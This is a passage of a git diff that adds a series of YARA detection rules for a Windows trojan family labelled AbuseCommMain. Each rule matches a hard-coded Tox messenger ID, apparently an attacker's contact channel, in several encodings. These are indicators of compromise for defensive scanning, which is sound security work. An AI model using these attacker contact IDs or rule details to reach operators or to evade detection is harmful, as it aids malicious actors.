36 45 31 36 39 35 44 43 39 38 35 39 33 44 46 42 35 45 35 35 43 46 35 30 46 32 30 39 33 32 37 36 36 35 44 32 38 36 35 35 31 36 34 35 31 31 45 32 34 38 32 44 30 46 38 30 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {36 34 34 44 38 34 31 36 45 31 36 39 35 44 43 39 38 35 39 33 44 46 42 35 45 35 35 43 46 35 30 46 32 30 39 33 32 37 36 36 35 44 32 38 36 35 35 31 36 34 35 31 31 45 32 34 38 32 44 30 46 38 30 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 36 34 34 44 38 34 31 36 45 31 36 39 35 44 43 39 38 35 39 33 44 46 42 35 45 35 35 43 46 35 30 46 32 30 39 33 32 37 36 36 35 44 32 38 36 35 35 31 36 34 35 31 31 45 32 34 38 32 44 30 46 38 30 42 2e 68 73 74 72 } //1 \tox\644D8416E1695DC98593DFB5E55CF50F209327665D28655164511E2482D0F80B.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JQ.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JQ.yar new file mode 100644 index 0000000000..948f705d08 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JQ.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JQ{ + meta: + description = "Trojan:Win64/AbuseCommMain.JQ,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 41 00 46 00 39 00 43 00 34 00 37 00 32 00 35 00 41 00 34 00 33 00 34 00 34 00 39 00 30 00 39 00 32 00 33 00 41 00 39 00 46 00 34 00 43 00 33 00 32 00 42 00 35 00 46 00 39 00 30 00 30 00 33 00 45 00 44 00 37 00 37 00 34 00 32 00 38 00 41 00 44 00 38 00 32 00 41 00 46 00 38 00 36 00 45 00 37 00 35 00 37 00 31 00 32 00 30 00 46 00 37 00 34 00 33 00 41 00 39 00 36 00 44 00 32 00 38 00 } //1 tox:AF9C4725A434490923A9F4C32B5F9003ED77428AD82AF86E757120F743A96D28 + $a_02_1 = {41 46 39 43 34 37 32 35 41 34 33 34 34 39 30 39 32 33 41 39 46 34 43 33 32 42 35 46 39 30 30 33 45 44 37 37 34 32 38 41 44 38 32 41 46 38 36 45 37 35 37 31 32 30 46 37 34 33 41 39 36 44 32 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {41 46 39 43 34 37 32 35 41 34 33 34 34 39 30 39 32 33 41 39 46 34 43 33 32 42 35 46 39 30 30 33 45 44 37 37 34 32 38 41 44 38 32 41 46 38 36 45 37 35 37 31 32 30 46 37 34 33 41 39 36 44 32 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 41 46 39 43 34 37 32 35 41 34 33 34 34 39 30 39 32 33 41 39 46 34 43 33 32 42 35 46 39 30 30 33 45 44 37 37 34 32 38 41 44 38 32 41 46 38 36 45 37 35 37 31 32 30 46 37 34 33 41 39 36 44 32 38 2e 68 73 74 72 } //1 \tox\AF9C4725A434490923A9F4C32B5F9003ED77428AD82AF86E757120F743A96D28.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JR.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JR.yar new file mode 100644 index 0000000000..1a4d3bf0da --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JR.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JR{ + meta: + description = "Trojan:Win64/AbuseCommMain.JR,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 44 00 43 00 39 00 44 00 37 00 30 00 39 00 42 00 44 00 30 00 33 00 34 00 41 00 37 00 43 00 43 00 36 00 42 00 45 00 30 00 32 00 45 00 35 00 38 00 45 00 31 00 31 00 35 00 39 00 42 00 37 00 32 00 34 00 46 00 42 00 34 00 41 00 37 00 35 00 42 00 42 00 44 00 44 00 34 00 37 00 44 00 35 00 33 00 43 00 46 00 46 00 38 00 36 00 37 00 32 00 34 00 41 00 36 00 30 00 42 00 42 00 32 00 32 00 33 00 } //1 tox:DC9D709BD034A7CC6BE02E58E1159B724FB4A75BBDD47D53CFF86724A60BB223 + $a_02_1 = {44 43 39 44 37 30 39 42 44 30 33 34 41 37 43 43 36 42 45 30 32 45 35 38 45 31 31 35 39 42 37 32 34 46 42 34 41 37 35 42 42 44 44 34 37 44 35 33 43 46 46 38 36 37 32 34 41 36 30 42 42 32 32 33 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {44 43 39 44 37 30 39 42 44 30 33 34 41 37 43 43 36 42 45 30 32 45 35 38 45 31 31 35 39 42 37 32 34 46 42 34 41 37 35 42 42 44 44 34 37 44 35 33 43 46 46 38 36 37 32 34 41 36 30 42 42 32 32 33 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 44 43 39 44 37 30 39 42 44 30 33 34 41 37 43 43 36 42 45 30 32 45 35 38 45 31 31 35 39 42 37 32 34 46 42 34 41 37 35 42 42 44 44 34 37 44 35 33 43 46 46 38 36 37 32 34 41 36 30 42 42 32 32 33 2e 68 73 74 72 } //1 \tox\DC9D709BD034A7CC6BE02E58E1159B724FB4A75BBDD47D53CFF86724A60BB223.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JS.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JS.yar new file mode 100644 index 0000000000..edefacc2a0 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JS.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JS{ + meta: + description = "Trojan:Win64/AbuseCommMain.JS,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 34 00 35 00 37 00 42 00 42 00 34 00 45 00 35 00 44 00 46 00 30 00 45 00 36 00 35 00 30 00 35 00 30 00 39 00 33 00 32 00 32 00 43 00 41 00 38 00 39 00 34 00 37 00 35 00 38 00 44 00 39 00 32 00 35 00 41 00 35 00 36 00 38 00 38 00 32 00 38 00 30 00 39 00 30 00 41 00 33 00 34 00 34 00 39 00 44 00 35 00 41 00 45 00 45 00 45 00 44 00 33 00 30 00 45 00 39 00 42 00 38 00 45 00 31 00 38 00 } //1 tox:457BB4E5DF0E650509322CA894758D925A568828090A3449D5AEEED30E9B8E18 + $a_02_1 = {34 35 37 42 42 34 45 35 44 46 30 45 36 35 30 35 30 39 33 32 32 43 41 38 39 34 37 35 38 44 39 32 35 41 35 36 38 38 32 38 30 39 30 41 33 34 34 39 44 35 41 45 45 45 44 33 30 45 39 42 38 45 31 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {34 35 37 42 42 34 45 35 44 46 30 45 36 35 30 35 30 39 33 32 32 43 41 38 39 34 37 35 38 44 39 32 35 41 35 36 38 38 32 38 30 39 30 41 33 34 34 39 44 35 41 45 45 45 44 33 30 45 39 42 38 45 31 38 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 34 35 37 42 42 34 45 35 44 46 30 45 36 35 30 35 30 39 33 32 32 43 41 38 39 34 37 35 38 44 39 32 35 41 35 36 38 38 32 38 30 39 30 41 33 34 34 39 44 35 41 45 45 45 44 33 30 45 39 42 38 45 31 38 2e 68 73 74 72 } //1 \tox\457BB4E5DF0E650509322CA894758D925A568828090A3449D5AEEED30E9B8E18.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JT.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JT.yar new file mode 100644 index 0000000000..982c193599 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JT.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JT{ + meta: + description = "Trojan:Win64/AbuseCommMain.JT,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 41 00 46 00 44 00 30 00 32 00 45 00 33 00 37 00 43 00 44 00 41 00 37 00 44 00 39 00 39 00 34 00 46 00 37 00 45 00 39 00 31 00 46 00 45 00 37 00 41 00 43 00 45 00 37 00 31 00 44 00 45 00 32 00 45 00 38 00 38 00 46 00 35 00 43 00 34 00 39 00 32 00 33 00 33 00 44 00 33 00 45 00 46 00 41 00 42 00 33 00 32 00 31 00 30 00 35 00 35 00 34 00 36 00 32 00 39 00 41 00 36 00 45 00 35 00 45 00 } //1 tox:AFD02E37CDA7D994F7E91FE7ACE71DE2E88F5C49233D3EFAB3210554629A6E5E + $a_02_1 = {41 46 44 30 32 45 33 37 43 44 41 37 44 39 39 34 46 37 45 39 31 46 45 37 41 43 45 37 31 44 45 32 45 38 38 46 35 43 34 39 32 33 33 44 33 45 46 41 42 33 32 31 30 35 35 34 36 32 39 41 36 45 35 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {41 46 44 30 32 45 33 37 43 44 41 37 44 39 39 34 46 37 45 39 31 46 45 37 41 43 45 37 31 44 45 32 45 38 38 46 35 43 34 39 32 33 33 44 33 45 46 41 42 33 32 31 30 35 35 34 36 32 39 41 36 45 35 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 41 46 44 30 32 45 33 37 43 44 41 37 44 39 39 34 46 37 45 39 31 46 45 37 41 43 45 37 31 44 45 32 45 38 38 46 35 43 34 39 32 33 33 44 33 45 46 41 42 33 32 31 30 35 35 34 36 32 39 41 36 45 35 45 2e 68 73 74 72 } //1 \tox\AFD02E37CDA7D994F7E91FE7ACE71DE2E88F5C49233D3EFAB3210554629A6E5E.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JU.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JU.yar new file mode 100644 index 0000000000..e910ab0f14 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JU.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JU{ + meta: + description = "Trojan:Win64/AbuseCommMain.JU,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 42 00 46 00 43 00 38 00 33 00 36 00 45 00 42 00 41 00 45 00 30 00 36 00 34 00 35 00 30 00 46 00 44 00 44 00 33 00 36 00 42 00 36 00 33 00 31 00 37 00 30 00 46 00 31 00 32 00 31 00 46 00 34 00 34 00 41 00 44 00 41 00 44 00 46 00 46 00 32 00 44 00 41 00 46 00 41 00 41 00 46 00 41 00 34 00 31 00 33 00 31 00 34 00 42 00 36 00 37 00 37 00 38 00 46 00 36 00 30 00 30 00 33 00 35 00 30 00 } //1 tox:BFC836EBAE06450FDD36B63170F121F44ADADFF2DAFAAFA41314B6778F600350 + $a_02_1 = {42 46 43 38 33 36 45 42 41 45 30 36 34 35 30 46 44 44 33 36 42 36 33 31 37 30 46 31 32 31 46 34 34 41 44 41 44 46 46 32 44 41 46 41 41 46 41 34 31 33 31 34 42 36 37 37 38 46 36 30 30 33 35 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {42 46 43 38 33 36 45 42 41 45 30 36 34 35 30 46 44 44 33 36 42 36 33 31 37 30 46 31 32 31 46 34 34 41 44 41 44 46 46 32 44 41 46 41 41 46 41 34 31 33 31 34 42 36 37 37 38 46 36 30 30 33 35 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 42 46 43 38 33 36 45 42 41 45 30 36 34 35 30 46 44 44 33 36 42 36 33 31 37 30 46 31 32 31 46 34 34 41 44 41 44 46 46 32 44 41 46 41 41 46 41 34 31 33 31 34 42 36 37 37 38 46 36 30 30 33 35 30 2e 68 73 74 72 } //1 \tox\BFC836EBAE06450FDD36B63170F121F44ADADFF2DAFAAFA41314B6778F600350.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JV.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JV.yar new file mode 100644 index 0000000000..6f3b75fcdd --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JV.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JV{ + meta: + description = "Trojan:Win64/AbuseCommMain.JV,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 45 00 43 00 39 00 39 00 42 00 44 00 35 00 41 00 33 00 36 00 44 00 45 00 36 00 39 00 31 00 34 00 34 00 46 00 35 00 34 00 30 00 32 00 43 00 38 00 33 00 32 00 42 00 35 00 34 00 31 00 33 00 32 00 39 00 35 00 33 00 32 00 33 00 46 00 43 00 37 00 43 00 31 00 32 00 32 00 35 00 39 00 43 00 35 00 33 00 45 00 34 00 41 00 41 00 36 00 44 00 35 00 42 00 43 00 32 00 44 00 34 00 45 00 36 00 44 00 } //1 tox:EC99BD5A36DE69144F5402C832B5413295323FC7C12259C53E4AA6D5BC2D4E6D + $a_02_1 = {45 43 39 39 42 44 35 41 33 36 44 45 36 39 31 34 34 46 35 34 30 32 43 38 33 32 42 35 34 31 33 32 39 35 33 32 33 46 43 37 43 31 32 32 35 39 43 35 33 45 34 41 41 36 44 35 42 43 32 44 34 45 36 44 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {45 43 39 39 42 44 35 41 33 36 44 45 36 39 31 34 34 46 35 34 30 32 43 38 33 32 42 35 34 31 33 32 39 35 33 32 33 46 43 37 43 31 32 32 35 39 43 35 33 45 34 41 41 36 44 35 42 43 32 44 34 45 36 44 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 45 43 39 39 42 44 35 41 33 36 44 45 36 39 31 34 34 46 35 34 30 32 43 38 33 32 42 35 34 31 33 32 39 35 33 32 33 46 43 37 43 31 32 32 35 39 43 35 33 45 34 41 41 36 44 35 42 43 32 44 34 45 36 44 2e 68 73 74 72 } //1 \tox\EC99BD5A36DE69144F5402C832B5413295323FC7C12259C53E4AA6D5BC2D4E6D.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JW.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JW.yar new file mode 100644 index 0000000000..fa45b0b0c8 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JW.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JW{ + meta: + description = "Trojan:Win64/AbuseCommMain.JW,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 35 00 30 00 46 00 41 00 38 00 35 00 36 00 46 00 45 00 35 00 37 00 44 00 36 00 41 00 32 00 39 00 39 00 41 00 37 00 33 00 38 00 41 00 30 00 44 00 31 00 45 00 31 00 39 00 45 00 36 00 39 00 45 00 41 00 46 00 32 00 43 00 35 00 34 00 30 00 39 00 44 00 36 00 31 00 37 00 39 00 31 00 39 00 35 00 38 00 30 00 32 00 34 00 32 00 42 00 41 00 43 00 41 00 46 00 43 00 38 00 38 00 41 00 31 00 44 00 } //1 tox:50FA856FE57D6A299A738A0D1E19E69EAF2C5409D617919580242BACAFC88A1D + $a_02_1 = {35 30 46 41 38 35 36 46 45 35 37 44 36 41 32 39 39 41 37 33 38 41 30 44 31 45 31 39 45 36 39 45 41 46 32 43 35 34 30 39 44 36 31 37 39 31 39 35 38 30 32 34 32 42 41 43 41 46 43 38 38 41 31 44 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {35 30 46 41 38 35 36 46 45 35 37 44 36 41 32 39 39 41 37 33 38 41 30 44 31 45 31 39 45 36 39 45 41 46 32 43 35 34 30 39 44 36 31 37 39 31 39 35 38 30 32 34 32 42 41 43 41 46 43 38 38 41 31 44 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 35 30 46 41 38 35 36 46 45 35 37 44 36 41 32 39 39 41 37 33 38 41 30 44 31 45 31 39 45 36 39 45 41 46 32 43 35 34 30 39 44 36 31 37 39 31 39 35 38 30 32 34 32 42 41 43 41 46 43 38 38 41 31 44 2e 68 73 74 72 } //1 \tox\50FA856FE57D6A299A738A0D1E19E69EAF2C5409D617919580242BACAFC88A1D.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JX.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JX.yar new file mode 100644 index 0000000000..b1215af350 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JX.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JX{ + meta: + description = "Trojan:Win64/AbuseCommMain.JX,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 36 00 41 00 33 00 34 00 30 00 32 00 30 00 37 00 32 00 34 00 36 00 42 00 34 00 37 00 45 00 33 00 37 00 46 00 36 00 44 00 30 00 39 00 34 00 44 00 32 00 32 00 33 00 36 00 45 00 35 00 43 00 36 00 32 00 34 00 32 00 42 00 36 00 45 00 34 00 34 00 36 00 31 00 45 00 45 00 46 00 38 00 30 00 32 00 31 00 46 00 45 00 44 00 32 00 43 00 39 00 38 00 35 00 35 00 32 00 34 00 30 00 43 00 33 00 45 00 } //1 tox:6A340207246B47E37F6D094D2236E5C6242B6E4461EEF8021FED2C9855240C3E + $a_02_1 = {36 41 33 34 30 32 30 37 32 34 36 42 34 37 45 33 37 46 36 44 30 39 34 44 32 32 33 36 45 35 43 36 32 34 32 42 36 45 34 34 36 31 45 45 46 38 30 32 31 46 45 44 32 43 39 38 35 35 32 34 30 43 33 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {36 41 33 34 30 32 30 37 32 34 36 42 34 37 45 33 37 46 36 44 30 39 34 44 32 32 33 36 45 35 43 36 32 34 32 42 36 45 34 34 36 31 45 45 46 38 30 32 31 46 45 44 32 43 39 38 35 35 32 34 30 43 33 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 36 41 33 34 30 32 30 37 32 34 36 42 34 37 45 33 37 46 36 44 30 39 34 44 32 32 33 36 45 35 43 36 32 34 32 42 36 45 34 34 36 31 45 45 46 38 30 32 31 46 45 44 32 43 39 38 35 35 32 34 30 43 33 45 2e 68 73 74 72 } //1 \tox\6A340207246B47E37F6D094D2236E5C6242B6E4461EEF8021FED2C9855240C3E.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JY.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JY.yar new file mode 100644 index 0000000000..5f24dc92ce --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JY.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JY{ + meta: + description = "Trojan:Win64/AbuseCommMain.JY,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 35 00 33 00 35 00 46 00 34 00 30 00 33 00 41 00 32 00 45 00 41 00 32 00 44 00 43 00 37 00 31 00 41 00 33 00 39 00 32 00 45 00 31 00 38 00 44 00 37 00 44 00 42 00 37 00 37 00 46 00 45 00 46 00 37 00 30 00 38 00 34 00 35 00 43 00 30 00 42 00 37 00 45 00 35 00 42 00 39 00 31 00 31 00 34 00 43 00 44 00 33 00 30 00 44 00 33 00 30 00 31 00 38 00 37 00 30 00 33 00 30 00 34 00 33 00 37 00 } //1 tox:535F403A2EA2DC71A392E18D7DB77FEF70845C0B7E5B9114CD30D30187030437 + $a_02_1 = {35 33 35 46 34 30 33 41 32 45 41 32 44 43 37 31 41 33 39 32 45 31 38 44 37 44 42 37 37 46 45 46 37 30 38 34 35 43 30 42 37 45 35 42 39 31 31 34 43 44 33 30 44 33 30 31 38 37 30 33 30 34 33 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {35 33 35 46 34 30 33 41 32 45 41 32 44 43 37 31 41 33 39 32 45 31 38 44 37 44 42 37 37 46 45 46 37 30 38 34 35 43 30 42 37 45 35 42 39 31 31 34 43 44 33 30 44 33 30 31 38 37 30 33 30 34 33 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 35 33 35 46 34 30 33 41 32 45 41 32 44 43 37 31 41 33 39 32 45 31 38 44 37 44 42 37 37 46 45 46 37 30 38 34 35 43 30 42 37 45 35 42 39 31 31 34 43 44 33 30 44 33 30 31 38 37 30 33 30 34 33 37 2e 68 73 74 72 } //1 \tox\535F403A2EA2DC71A392E18D7DB77FEF70845C0B7E5B9114CD30D30187030437.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JZ.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JZ.yar new file mode 100644 index 0000000000..a39f0f3d9e --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JZ.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JZ{ + meta: + description = "Trojan:Win64/AbuseCommMain.JZ,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 42 00 32 00 36 00 32 00 35 00 33 00 45 00 30 00 41 00 38 00 46 00 38 00 37 00 43 00 42 00 42 00 41 00 32 00 39 00 35 00 31 00 39 00 45 00 37 00 32 00 39 00 35 00 33 00 39 00 37 00 36 00 33 00 31 00 33 00 32 00 36 00 44 00 39 00 34 00 31 00 36 00 32 00 44 00 32 00 39 00 46 00 39 00 41 00 32 00 42 00 31 00 43 00 41 00 45 00 36 00 38 00 39 00 39 00 37 00 39 00 31 00 32 00 31 00 30 00 } //1 tox:B26253E0A8F87CBBA29519E7295397631326D94162D29F9A2B1CAE6899791210 + $a_02_1 = {42 32 36 32 35 33 45 30 41 38 46 38 37 43 42 42 41 32 39 35 31 39 45 37 32 39 35 33 39 37 36 33 31 33 32 36 44 39 34 31 36 32 44 32 39 46 39 41 32 42 31 43 41 45 36 38 39 39 37 39 31 32 31 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {42 32 36 32 35 33 45 30 41 38 46 38 37 43 42 42 41 32 39 35 31 39 45 37 32 39 35 33 39 37 36 33 31 33 32 36 44 39 34 31 36 32 44 32 39 46 39 41 32 42 31 43 41 45 36 38 39 39 37 39 31 32 31 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 42 32 36 32 35 33 45 30 41 38 46 38 37 43 42 42 41 32 39 35 31 39 45 37 32 39 35 33 39 37 36 33 31 33 32 36 44 39 34 31 36 32 44 32 39 46 39 41 32 42 31 43 41 45 36 38 39 39 37 39 31 32 31 30 2e 68 73 74 72 } //1 \tox\B26253E0A8F87CBBA29519E7295397631326D94162D29F9A2B1CAE6899791210.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KA.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KA.yar new file mode 100644 index 0000000000..434ca8fba3 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KA{ + meta: + description = "Trojan:Win64/AbuseCommMain.KA,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 32 00 33 00 42 00 33 00 35 00 44 00 42 00 39 00 41 00 43 00 36 00 44 00 45 00 46 00 44 00 37 00 46 00 32 00 45 00 46 00 34 00 34 00 35 00 46 00 33 00 46 00 38 00 42 00 31 00 44 00 42 00 31 00 42 00 30 00 34 00 36 00 37 00 35 00 36 00 36 00 30 00 35 00 31 00 31 00 30 00 41 00 43 00 37 00 43 00 37 00 33 00 41 00 46 00 39 00 30 00 45 00 44 00 37 00 39 00 35 00 32 00 42 00 35 00 41 00 } //1 tox:23B35DB9AC6DEFD7F2EF445F3F8B1DB1B046756605110AC7C73AF90ED7952B5A + $a_02_1 = {32 33 42 33 35 44 42 39 41 43 36 44 45 46 44 37 46 32 45 46 34 34 35 46 33 46 38 42 31 44 42 31 42 30 34 36 37 35 36 36 30 35 31 31 30 41 43 37 43 37 33 41 46 39 30 45 44 37 39 35 32 42 35 41 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {32 33 42 33 35 44 42 39 41 43 36 44 45 46 44 37 46 32 45 46 34 34 35 46 33 46 38 42 31 44 42 31 42 30 34 36 37 35 36 36 30 35 31 31 30 41 43 37 43 37 33 41 46 39 30 45 44 37 39 35 32 42 35 41 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 32 33 42 33 35 44 42 39 41 43 36 44 45 46 44 37 46 32 45 46 34 34 35 46 33 46 38 42 31 44 42 31 42 30 34 36 37 35 36 36 30 35 31 31 30 41 43 37 43 37 33 41 46 39 30 45 44 37 39 35 32 42 35 41 2e 68 73 74 72 } //1 \tox\23B35DB9AC6DEFD7F2EF445F3F8B1DB1B046756605110AC7C73AF90ED7952B5A.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 